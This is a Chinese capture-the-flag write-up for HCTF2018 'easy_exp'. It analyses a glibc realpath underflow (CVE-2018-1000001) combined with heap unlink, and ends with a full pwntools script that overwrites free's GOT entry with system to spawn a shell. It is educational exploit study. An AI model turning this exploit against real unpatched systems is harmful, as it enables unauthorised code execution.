apossin
apossin

HCTF2018-easy_exp

easy_exp

前些天参加了HCTF2018的线上赛,一如既往的被大佬们吊打。赛后结合大佬的讲解发现这道题就是unlink结合了一个cve漏洞，正巧最近刚学习了有关Unlink的技巧，于是把这道题研究复现了一下。

首先题目给了两个文件，easyexp和libc-2.23.so。

运行程序，看到是一个仿真的环境，给了ls,mkdir,mkfile,cat命令。

  • img

查看一下程序的保护：

1542529636810.png

发现开启了NX和Canary。

程序逻辑分析

用ida静态分析一波代码：

init:

  v18 = *MK_FP(__FS__, 40LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  v0 = malloc(0x100000uLL);
  dword_6032C0 = clone((int (*)(void *))fn, (char *)v0 + 0x100000, 268566545, 0LL);
  if ( dword_6032C0 == -1 )
  {
    puts("error!");
    exit(-1);
  }

unsigned int __fastcall fn(void *arg)
{
  while ( geteuid() )
    sched_yield();
  if ( mount("tmpfs", "/tmp", "tmpfs", 0xC0ED0000uLL, 0LL) )
    exit(-1);
  if ( chdir("/tmp") )
    exit(-1);
  return sleep(0xF4240u);
}

这里clone了一个子进程，子进程执行的fn用mount挂载了临时文件系统到/tmp，然后用chdir更改到对应目录下。

  snprintf(&s, 0x1000uLL, "/proc/%d/cwd", (unsigned int)dword_6032C0);
  root_path = strdup(&s);
  sprintf(&file, "/proc/%d/setgroups", (unsigned int)dword_6032C0);
  fd = open(&file, 1);
  v2 = write(fd, "deny", 4uLL);
  close(fd);
  sprintf(&file, "/proc/%d/uid_map", (unsigned int)dword_6032C0);
  v3 = open(&file, 1);
  v4 = getuid();
  sprintf(&buf, "0 %d 1\n", v4);
  v5 = strlen(&buf);
  v6 = write(v3, &buf, v5);
  close(v3);
  sprintf(&file, "/proc/%d/gid_map", (unsigned int)dword_6032C0);
  v7 = open(&file, 1);
  v8 = getgid();
  sprintf(&buf, "0 %d 1\n", v8);
  v9 = strlen(&buf);
  v10 = write(v7, &buf, v9);
  close(v7);
  sleep(1u);
  puts("tmpfs ready!");
  if ( chdir(root_path) )
    exit(-1);
  printf("input your home's name: ", &buf);
  sub_401036((__int64)src, 0x10u);
  if ( strchr(src, 47) || strchr(src, 46) )
  {
    puts("you can't use that name,use default name [home]");
    *(_DWORD *)src = 1701670760;
    byte_6032B4 = 0;
    mkdir("home", 0x1EDu);
  }
  else if ( mkdir(src, 0x1EDu) )
  {
    mkdir("home", 0x1EDu);
  }
  strcpy(dest, src);
  dest[strlen(dest)] = 47;
  v11 = &dest[strlen(dest)];
  *(_DWORD *)v11 = 1734437990;
  v11[4] = 0;
  v12 = open(dest, 131521, 420LL);
  write(v12, "flag{This_is_Fake}", 0x13uLL);
  close(v12);

接下来修改了程序的一些/proc/$PID/信息，和cve漏洞有关。

接着要我们输入一个home名，要求不包含'.'和'/',否则就使用默认名home。并创建对应目录。

再在home下写入一个flag文件，里面内容是"flag{This_is_Fake}",并没有什么用处。

接下来看一下ls,mkdir,mkfile,cat几个命令的实现。

ls:

__int64 __fastcall fuc_ls(char *a1)
{
  const char *name; // [sp+8h] [bp-28h]@1
  DIR *dirp; // [sp+10h] [bp-20h]@3
  struct dirent *v4; // [sp+18h] [bp-18h]@6
  __int16 v5; // [sp+20h] [bp-10h]@2
  __int64 v6; // [sp+28h] [bp-8h]@1

  name = a1;
  v6 = *MK_FP(__FS__, 40LL);
  if ( !a1 )
  {
    v5 = 46;
    name = (const char *)&v5;
  }
  dirp = opendir(name);
  if ( !dirp )
    exit(2);
  while ( 1 )
  {
    v4 = readdir(dirp);
    if ( !v4 )
      break;
    printf("%s  ", v4->d_name);
  }
  closedir(dirp);
  putchar(10);
  return *MK_FP(__FS__, 40LL) ^ v6;
}

发现这里就是打开目录并读取，且没有什么限制，因此这里可以绕过tmpfs的沙盒，实现任意浏览目录。

1542529636810.png

mkdir:

__int64 __fastcall sub_4015BD(const char *a1)
{
  __int64 v2; // [sp+0h] [bp-1040h]@0
  int i; // [sp+1Ch] [bp-1024h]@1
  _BYTE v4[12]; // [sp+1Ch] [bp-1024h]@2
  char *ptr; // [sp+28h] [bp-1018h]@7
  char path; // [sp+30h] [bp-1010h]@5
  __int64 v7; // [sp+1038h] [bp-8h]@1

  v7 = *MK_FP(__FS__, 40LL);
  for ( i = 0; ; i = *(_DWORD *)v4 + 1 )
  {
    *(_QWORD *)&v4[4] = strchr(&a1[i], 47);
    if ( *(_QWORD *)&v4[4] )
      *(_DWORD *)v4 = *(_DWORD *)&v4[4] - (_DWORD)a1;
    else
      *(_QWORD *)v4 = (unsigned int)strlen(a1);
    snprintf(&path, 0x1000uLL, "%s/%.*s", root_path, *(unsigned int *)v4, a1, v2);
    mkdir(&path, 0x1EDu);
    if ( !a1[*(signed int *)v4] )
      break;
  }
  ptr = canonicalize_file_name(a1);
  if ( !ptr )
  {
    puts("mkdir:create failed.");
    exit(-1);
  }
  free(ptr);
  return *MK_FP(__FS__, 40LL) ^ v7;
}

这里的实现是，首先检查文件名里的'/',找到后通过循环调用mkdir创建文件夹。之后调用canonicalize_file_name执行一个检查，检查不通过直接结束程序。

1542529999222.png

尝试后发现，即便创建一个正常目录都无法通过这个检查。

mkfile:

__int64 __fastcall fuc_mkfile(const char *a1)
{
  FILE *s; // ST18_8@12
  int v2; // ebx@16
  int v3; // ebx@16
  signed int i; // [sp+10h] [bp-1030h]@6
  int fd; // [sp+14h] [bp-102Ch]@13
  char buf; // [sp+20h] [bp-1020h]@16
  __int64 v8; // [sp+1028h] [bp-18h]@1

  v8 = *MK_FP(__FS__, 40LL);
  if ( a1 )
  {
    if ( strstr(a1, "..") || *a1 == 47 )
    {
      puts("you can't go out of tmpfs");
    }
    else
    {
      for ( i = 0; i <= 2; ++i )
      {
        if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
        {
          printf("write something:");
          sub_401036((__int64)content[12 * i], (unsigned int)content[12 * i + 1]);
          file_num = (i + 1) % 3;
          return *MK_FP(__FS__, 40LL) ^ v8;
        }
      }
      if ( content[12 * file_num] )
      {
        s = fopen((const char *)(96LL * file_num + 0x60318C), "w");
        fwrite(content[12 * file_num], 1uLL, LODWORD(content[12 * file_num + 1]), s);
        fclose(s);
        free((void *)content[12 * file_num]);
      }
      strcpy((char *)(96LL * file_num + 0x60318C), a1);
      fd = open(a1, 131521, 420LL);
      if ( fd < 0 )
      {
        puts("mkfile:create failed.");
        exit(-1);
      }
      printf("write something:");
      sub_401036((__int64)&buf, 0x1000u);
      write(fd, &buf, 0x1000uLL);
      v2 = file_num;
      content[12 * v2] = strdup(&buf);
      v3 = file_num;
      LODWORD(content[12 * v3 + 1]) = strlen(&buf);
      close(fd);
      file_num = (file_num + 1) % 3;
    }
  }
  else
  {
    puts("Usage:mkfile [path]");
  }
  return *MK_FP(__FS__, 40LL) ^ v8;
}

mkfile的实现是先检查一下名称里有没有'..'和'/',检测到就会提示你别想越过沙箱。

然后生成一个结构体，大致的结构是：

struct file
{
    char* content;
    int size;
    char[0x54] name;
}

先是一个内容指针，后面是content的size和文件名。

1542530279155.png

程序会在bss段存储最多3个这样的结构体，每次mkfile操作，会先检查一遍文件名，如果和bss段的某个文件名对应，就直接修改对应的content，不对应就会创建新的结构体。如果已经有了三个结构体，就会根据当前指针把对应的内容写进文件，然后free掉原本的content指针，并在该位置创建新的结构体。

cat

__int64 __fastcall fuc_cat(const char *a1)
{
  signed int i; // [sp+14h] [bp-11Ch]@6
  FILE *stream; // [sp+18h] [bp-118h]@11
  char ptr; // [sp+20h] [bp-110h]@11
  __int64 v5; // [sp+128h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  if ( a1 )
  {
    if ( strstr(a1, "..") || *a1 == 47 )
    {
      puts("you can't go out of tmpfs");
    }
    else
    {
      for ( i = 0; i <= 2; ++i )
      {
        if ( !strcmp(a1, (const char *)(96LL * i + 0x60318C)) )
        {
          puts((const char *)content[12 * i]);
          file_num = (i + 1) % 3;
          return *MK_FP(__FS__, 40LL) ^ v5;
        }
      }
      memset(&ptr, 0, 0x100uLL);
      stream = fopen(a1, "r");
      if ( stream )
      {
        fread(&ptr, 0x100uLL, 1uLL, stream);
        puts(&ptr);
        fclose(stream);
      }
      else
      {
        puts("No such file!");
      }
    }
  }
  else
  {
    puts("Usage:cat [path]");
  }
  return *MK_FP(__FS__, 40LL) ^ v5;
}

cat这里也进行了'..'和'/'检查，也就没法直接绕过沙箱。

后面会先去bss段找三个结构体匹配文件名，找到后直接Puts对应的content,没找到就尝试用fopen来读取文件。

利用思路

程序本身并没有找到什么漏洞。

回头看题目的hint:plz pay attention to libc version and try to load the libc which we given

提示说，这题一定要载入对应的libc。

我们查看以下libc版本：

1542535847667.png

发现是2.23-0ubuntu9。

可以在：https://launchpad.net/ubuntu/+source/glibc/2.23-0ubuntu10找到相应的changelog。

* SECURITY UPDATE: Buffer underflow in realpath()
    - debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
      Make getcwd(3) fail if it cannot obtain an absolute path
    - CVE-2018-1000001

发现，更新是修补了这个CVE-2018-1000001漏洞。

可以在：https://paper.seebug.org/528/里找到漏洞的详细说明。

大体就是引入了（unreachable）这种情况后，函数realpath() 没有考虑到对这种以‘（’开头的不可到达路径的处理，造成了溢出。

而在本题里mkdir中调用的canonicalize_file_name就封装了函数realpath()。

1542536392678.png

在canonicalize_file_name处下断点，单步追踪函数的执行。

1542536859664.png

可以看到在执行过getcwd()后，得到的结果是(unreachable)/tmp。(原因大概是当前目录不属于当前进程的根目录，和init的那段代码有关)

查看stdlib/canonicalize.c里__realpath的代码：

1542537376170.png

这里name是我们要mkdir的文件夹，dest是通过getcwd获取的(unreachable)/tmp。

可以看到这里在对以"../"开头的name处理时，默认了dest是以"/"开头的，没有考虑到以"("开头的情况，因此第一个"../"使dest一直自减，退回到“(unreachable)/”,而由于dest前面再没有"/"，所以第二个“../”就会造成dest自减越界，直到匹配到下一个"/"。

1542538071913.png

后面这里会执行__mempcpy把创建的文件夹名字（去掉"../"后的）复制到dest，因此我们可以利用这一点来造成内存改写。

而后面的__lxstat64检查就是我们无法正常mkdir的原因。这个函数会根据提供的参数去获取文件的信息，假如说文件不存在的话，会返回-1，跳到error

单步执行程序，可以发现，在程序因mkdir结束前，确实是执行的这个函数：

1542540060647.png

我这里执行的命令是"mkdir test"。

这个参数来自于：

  new_rpath = (char *) realloc (rpath, new_size);

由于程序执行了：

  if (dest[-1] != '/')
        *dest++ = '/';
  ......
  dest = __mempcpy (dest, start, end - start);

所以这个参数的结果是：

"(unreachable)/tmp"+"/"+"test"

而假如我们执行“mkdir ../abc”,由于后面"abc"覆盖了"tmp"

结果就会是：

"(unreachable)/abc"

而假如我们执行"mkdir ../../abc"，通过溢出，"abc"不知道被复制到了哪里。

结果就是：

"(unreachable)/tmp"

所以我们可以创建文件"(unreachable)/abc"或者"(unreachable)/tmp"来通过这个验证。

由于最开始的init在输入home名时，只限制了"."和"/",所以我们可以创建一个文件夹(unreachable)。

1542543871151.png
1542544188724.png

或者：

1542544153178.png

OK，现在我们已经可以利用这个溢出来改写了。

我们可以申请chunk,来构造这样一个布局：

aaa/|sizeA
aaaa|sizeB
aaaC|sizeC

利用漏洞把sizeA变大，然后重新申请这个chunk进而控制sizeB的chunk。

然后就是常规的unlink了。

1.先把content指针指向got表的free。
2.利用cat功能获得free的地址，计算出libc地址和system地址。
3.mkfile写入"/bin/sh"
4.修改free的got表指向system
5.调用free("/bin/sh")

ps：1.注意控制执行free时的文件指针指向。2.mkfile新文件时，使用了strdup，先要用'a'填充空间。

最后的脚本:

from pwn import *

p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23.so'})
libc=ELF('./libc-2.23.so')
easyexp=ELF('./easyexp')
#gdb.attach(p,"b __lxstat64")
def mkfile(name,content):
    p.recvuntil("$")
    p.sendline("mkfile "+str(name))
    p.recvuntil("write something:")
    p.sendline(content)
def cat(name):
    p.recvuntil("$")
    p.sendline("cat "+name)

p.recvuntil("input your home's name: ")
p.sendline('(unreachable)')

mkfile("(unreachable)/tmp","a"*0x16+"/")
mkfile('2','a'*0x27) 
mkfile('3','a'*0x80)
mkfile('3',p64(0x21)*2) 

p.sendline('mkdir ../../a\x41')
cat('(unreachable)/tmp') #file_ptr 1

mkfile('4','a'*0x37) 
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))


#file_ptr2
mkfile('5','/bin/sh')

mkfile('4','a'*0x18+p64(easyexp.got['free'])+'99')

cat('4')

free_addr=u64(p.recvuntil('\n')[1:7].ljust(8,'\0'))
libc.address=free_addr-libc.symbols['free']

sys_addr=libc.symbols['system']

print "free_addr:"+hex(free_addr)

print "libc_addr:"+hex(libc.address)

print "system_addr:"+hex(sys_addr)

mkfile('4',p64(sys_addr))
p.sendline('mkfile over')


p.interactive()

参考：

https://paper.seebug.org/528/
https://www.360zhijia.com/anquan/430290.html

你可能感兴趣的:(HCTF2018-easy_exp)

  • HCTF2018-easy_exp apossin
    easy_exp前些天参加了HCTF2018的线上赛,一如既往的被大佬们吊打。赛后结合大佬的讲解发现这道题就是unlink结合了一个cve漏洞，正巧最近刚学习了有关Unlink的技巧，于是把这道题研究复现了一下。首先题目给了两个文件，easyexp和libc-2.23.so。运行程序，看到是一个仿真的环境，给了ls,mkdir,mkfile,cat命令。img查看一下程序的保护：154252963
  • log4j对象改变日志级别 3213213333332132 javalog4jlevellog4j对象名称日志级别
    log4j对象改变日志级别可批量的改变所有级别，或是根据条件改变日志级别。 log4j配置文件： log4j.rootLogger=ERROR,FILE,CONSOLE,EXECPTION #log4j.appender.FILE=org.apache.log4j.RollingFileAppender log4j.appender.FILE=org.apache.l
  • elk+redis 搭建nginx日志分析平台 ronin47 elasticsearchkibanalogstash
                 elk+redis 搭建nginx日志分析平台 logstash,elasticsearch,kibana 怎么进行nginx的日志分析呢？首先，架构方面，nginx是有日志文件的，它的每个请求的状态等都有日志文件进行记录。其次，需要有个队 列，redis的l
  • Yii2设置时区 dcj3sjt126com PHPtimezoneyii2
    时区这东西，在开发的时候，你说重要吧，也还好，毕竟没它也能正常运行，你说不重要吧，那就纠结了。特别是linux系统，都TMD差上几小时，你能不痛苦吗？win还好一点。有一些常规方法，是大家目前都在采用的1、php.ini中的设置，这个就不谈了，2、程序中公用文件里设置，date_default_timezone_set一下时区3、或者。。。自己写时间处理函数，在遇到时间的时候，用这个函数处理（比较
  • js实现前台动态添加文本框，后台获取文本框内容 171815164 文本框
    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://w
  • 持续集成工具 g21121 持续集成
            持续集成是什么？我们为什么需要持续集成？持续集成带来的好处是什么？什么样的项目需要持续集成？...        持续集成(Continuous integration ,简称CI)，所谓集成可以理解为将互相依赖的工程或模块合并成一个能单独运行
  • 数据结构哈希表(hash)总结 永夜-极光 数据结构
    1.什么是hash 来源于百度百科: Hash，一般翻译做“散列”，也有直接音译为“哈希”的，就是把任意长度的输入，通过散列算法，变换成固定长度的输出，该输出就是散列值。这种转换是一种压缩映射，也就是，散列值的空间通常远小于输入的空间，不同的输入可能会散列成相同的输出，所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。  
  • 乱七八糟 程序员是怎么炼成的
    eclipse中的jvm字节码查看插件地址： http://andrei.gmxhome.de/eclipse/ 安装该地址的outline 插件  后重启，打开window下的view下的bytecode视图 http://andrei.gmxhome.de/eclipse/   jvm博客： http://yunshen0909.iteye.com/blog/2
  • 职场人伤害了“上司” 怎样弥补 aijuans 职场
    由于工作中的失误，或者平时不注意自己的言行“伤害”、“得罪”了自己的上司，怎么办呢？ 　　在职业生涯中这种问题尽量不要发生。下面提供了一些解决问题的建议： 　　一、利用一些轻松的场合表示对他的尊重 　　即使是开明的上司也很注重自己的权威，都希望得到下属的尊重，所以当你与上司冲突后，最好让不愉快成为过去，你不妨在一些轻松的场合，比如会餐、联谊活动等，向上司问个好，敬下酒，表示你对对方的尊重，
  • 深入浅出url编码 antonyup_2006 应用服务器浏览器servletweblogicIE
    出处：http://blog.csdn.net/yzhz  杨争   http://blog.csdn.net/yzhz/archive/2007/07/03/1676796.aspx 一、问题：         编码问题是JAVA初学者在web开发过程中经常会遇到问题，网上也有大量相关的
  • 建表后创建表的约束关系和增加表的字段 百合不是茶 标的约束关系增加表的字段
      下面所有的操作都是在表建立后操作的,主要目的就是熟悉sql的约束,约束语句的万能公式   1,增加字段(student表中增加 姓名字段)   alter table 增加字段的表名 add 增加的字段名 增加字段的数据类型 alter table student add name varchar2(10);   &nb
  • Uploadify 3.2 参数属性、事件、方法函数详解 bijian1013 JavaScriptuploadify
    一.属性 属性名称 默认值 说明 auto true 设置为true当选择文件后就直接上传了，为false需要点击上传按钮才上传。 buttonClass ” 按钮样式 buttonCursor ‘hand’ 鼠标指针悬停在按钮上的样子 buttonImage null 浏览按钮的图片的路
  • 精通Oracle10编程SQL(16)使用LOB对象 bijian1013 oracle数据库plsql
    /* *使用LOB对象 */ --LOB(Large Object)是专门用于处理大对象的一种数据类型，其所存放的数据长度可以达到4G字节 --CLOB/NCLOB用于存储大批量字符数据，BLOB用于存储大批量二进制数据，而BFILE则存储着指向OS文件的指针 /* *综合实例 */ --建立表空间 --#指定区尺寸为128k,如不指定，区尺寸默认为64k CR
  • 【Resin一】Resin服务器部署web应用 bit1129 resin
    工作中，在Resin服务器上部署web应用，通常有如下三种方式：   配置多个web-app 配置多个http id 为每个应用配置一个propeties、xml以及sh脚本文件 配置多个web-app   在resin.xml中,可以为一个host配置多个web-app   <cluster id="app&q
  • red5简介及基础知识 白糖_ 基础
      简介   Red5的主要功能和Macromedia公司的FMS类似，提供基于Flash的流媒体服务的一款基于Java的开源流媒体服务器。它由Java语言编写，使用RTMP作为流媒体传输协议，这与FMS完全兼容。它具有流化FLV、MP3文件，实时录制客户端流为FLV文件，共享对象，实时视频播放、Remoting等功能。用Red5替换FMS后,客户端不用更改可正
  • angular.fromJson boyitech AngularJSAngularJS 官方APIAngularJS API
    angular.fromJson 描述: 把Json字符串转为对象 使用方法: angular.fromJson(json); 参数详解: Param Type Details json string JSON 字符串 返回值: 对象, 数组, 字符串 或者是一个数字 示例: <!DOCTYPE HTML> <h
  • java-颠倒一个句子中的词的顺序。比如： I am a student颠倒后变成：student a am I bylijinnan java
    public class ReverseWords { /** * 题目：颠倒一个句子中的词的顺序。比如： I am a student颠倒后变成：student a am I.词以空格分隔。 * 要求： * 1.实现速度最快,移动最少 * 2.不能使用String的方法如split,indexOf等等。 * 解答：两次翻转。 */ publ
  • web实时通讯 Chen.H Web浏览器socket脚本
    关于web实时通讯，做一些监控软件。 由web服务器组件从消息服务器订阅实时数据，并建立消息服务器到所述web服务器之间的连接，web浏览器利用从所述web服务器下载到web页面的客户端代理与web服务器组件之间的socket连接，建立web浏览器与web服务器之间的持久连接；利用所述客户端代理与web浏览器页面之间的信息交互实现页面本地更新，建立一条从消息服务器到web浏览器页面之间的消息通路
  • [基因与生物]远古生物的基因可以嫁接到现代生物基因组中吗? comsci 生物
          大家仅仅把我说的事情当作一个IT行业的笑话来听吧..没有其它更多的意思     如果我们把大自然看成是一位伟大的程序员,专门为地球上的生态系统编制基因代码,并创造出各种不同的生物来,那么6500万年前的程序员开发的代码,是否兼容现代派的程序员的代码和架构呢?   
  • oracle 外部表 daizj oracle外部表external tables
        oracle外部表是只允许只读访问，不能进行DML操作，不能创建索引，可以对外部表进行的查询，连接，排序，创建视图和创建同义词操作。 you can select, join, or sort external table data. You can also create views and synonyms for external tables. Ho
  • aop相关的概念及配置 daysinsun AOP
    切面(Aspect): 通常在目标方法执行前后需要执行的方法（如事务、日志、权限），这些方法我们封装到一个类里面，这个类就叫切面。 连接点（joinpoint） spring里面的连接点指需要切入的方法，通常这个joinpoint可以作为一个参数传入到切面的方法里面（非常有用的一个东西）。 通知（Advice） 通知就是切面里面方法的具体实现，分为前置、后置、最终、异常环
  • 初一上学期难记忆单词背诵第二课 dcj3sjt126com englishword
    middle 中间的，中级的 well 喔，那么；好吧 phone 电话，电话机 policeman 警察 ask 问 take 拿到；带到 address 地址 glad 高兴的，乐意的 why 为什么  China 中国 family 家庭 grandmother (外)祖母 grandfather (外)祖父 wife 妻子 husband 丈夫 da
  • Linux日志分析常用命令 dcj3sjt126com linuxlog
    1.查看文件内容 cat -n 显示行号 2.分页显示 more Enter 显示下一行 空格 显示下一页 F 显示下一屏 B 显示上一屏 less /get 查询"get"字符串并高亮显示 3.显示文件尾 tail -f 不退出持续显示 -n 显示文件最后n行 4.显示头文件 head -n 显示文件开始n行 5.内容排序 sort -n 按照
  • JSONP 原理分析 fantasy2005 JavaScriptjsonpjsonp 跨域
    转自 http://www.nowamagic.net/librarys/veda/detail/224 JavaScript是一种在Web开发中经常使用的前端动态脚本技术。在JavaScript中，有一个很重要的安全性限制，被称为“Same-Origin Policy”（同源策略）。这一策略对于JavaScript代码能够访问的页面内容做了很重要的限制，即JavaScript只能访问与包含它的
  • 使用connect by进行级联查询 234390216 oracle查询父子Connect by级联
    使用connect by进行级联查询          connect by可以用于级联查询，常用于对具有树状结构的记录查询某一节点的所有子孙节点或所有祖辈节点。          来看一个示例，现假设我们拥有一个菜单表t_menu，其中只有三个字段：
  • 一个不错的能将HTML表格导出为excel,pdf等的jquery插件 jackyrong jquery插件
    发现一个老外写的不错的jquery插件，可以实现将HTML 表格导出为excel,pdf等格式， 地址在： https://github.com/kayalshri/ 下面看个例子，实现导出表格到excel,pdf <html> <head> <title>Export html table to excel an
  • UI设计中我们为什么需要设计动效 lampcy UIUI设计
    关于Unity3D中的Shader的知识 首先先解释下Unity3D的Shader，Unity里面的Shaders是使用一种叫ShaderLab的语言编写的，它同微软的FX文件或者NVIDIA的CgFX有些类似。传统意义上的vertex shader和pixel shader还是使用标准的Cg/HLSL 编程语言编写的。因此Unity文档里面的Shader，都是指用ShaderLab编写的代码，
  • 如何禁止页面缓存 nannan408 htmljspcache
    禁止页面使用缓存~ ------------------------------------------------ jsp:页面no cache： response.setHeader("Pragma","No-cache"); response.setHeader("Cache-Control","no-cach
  • 以代码的方式管理quartz定时任务的暂停、重启、删除、添加等 Everyday都不同 定时任务管理spring-quartz
          【前言】在项目的管理功能中，对定时任务的管理有时会很常见。因为我们不能指望只在配置文件中配置好定时任务就行了，因为如果要控制定时任务的 “暂停” 呢？暂停之后又要在某个时间点 “重启” 该定时任务呢？或者说直接 “删除” 该定时任务呢？要改变某定时任务的触发时间呢？ “添加” 一个定时任务对于系统的使用者而言，是不太现实的，因为一个定时任务的处理逻辑他是不
  • EXT实例 tntxia ext
      （1） 增加一个按钮   JSP:   <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <% String path = request.getContextPath(); Stri
  • 数学学习在计算机研究领域的作用和重要性 xjnine Math
    最近一直有师弟师妹和朋友问我数学和研究的关系，研一要去学什么数学课。毕竟在清华，衡量一个研究生最重要的指标之一就是paper,而没有数学，是肯定上不了世界顶级的期刊和会议的，这在计算机学界尤其重要！你会发现，不论哪个领域有价值的东西，都一定离不开数学！在这样一个信息时代，当google已经让世界没有秘密的时候，一种卓越的数学思维，绝对可以成为你的核心竞争力.  无奈本人实在见地
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他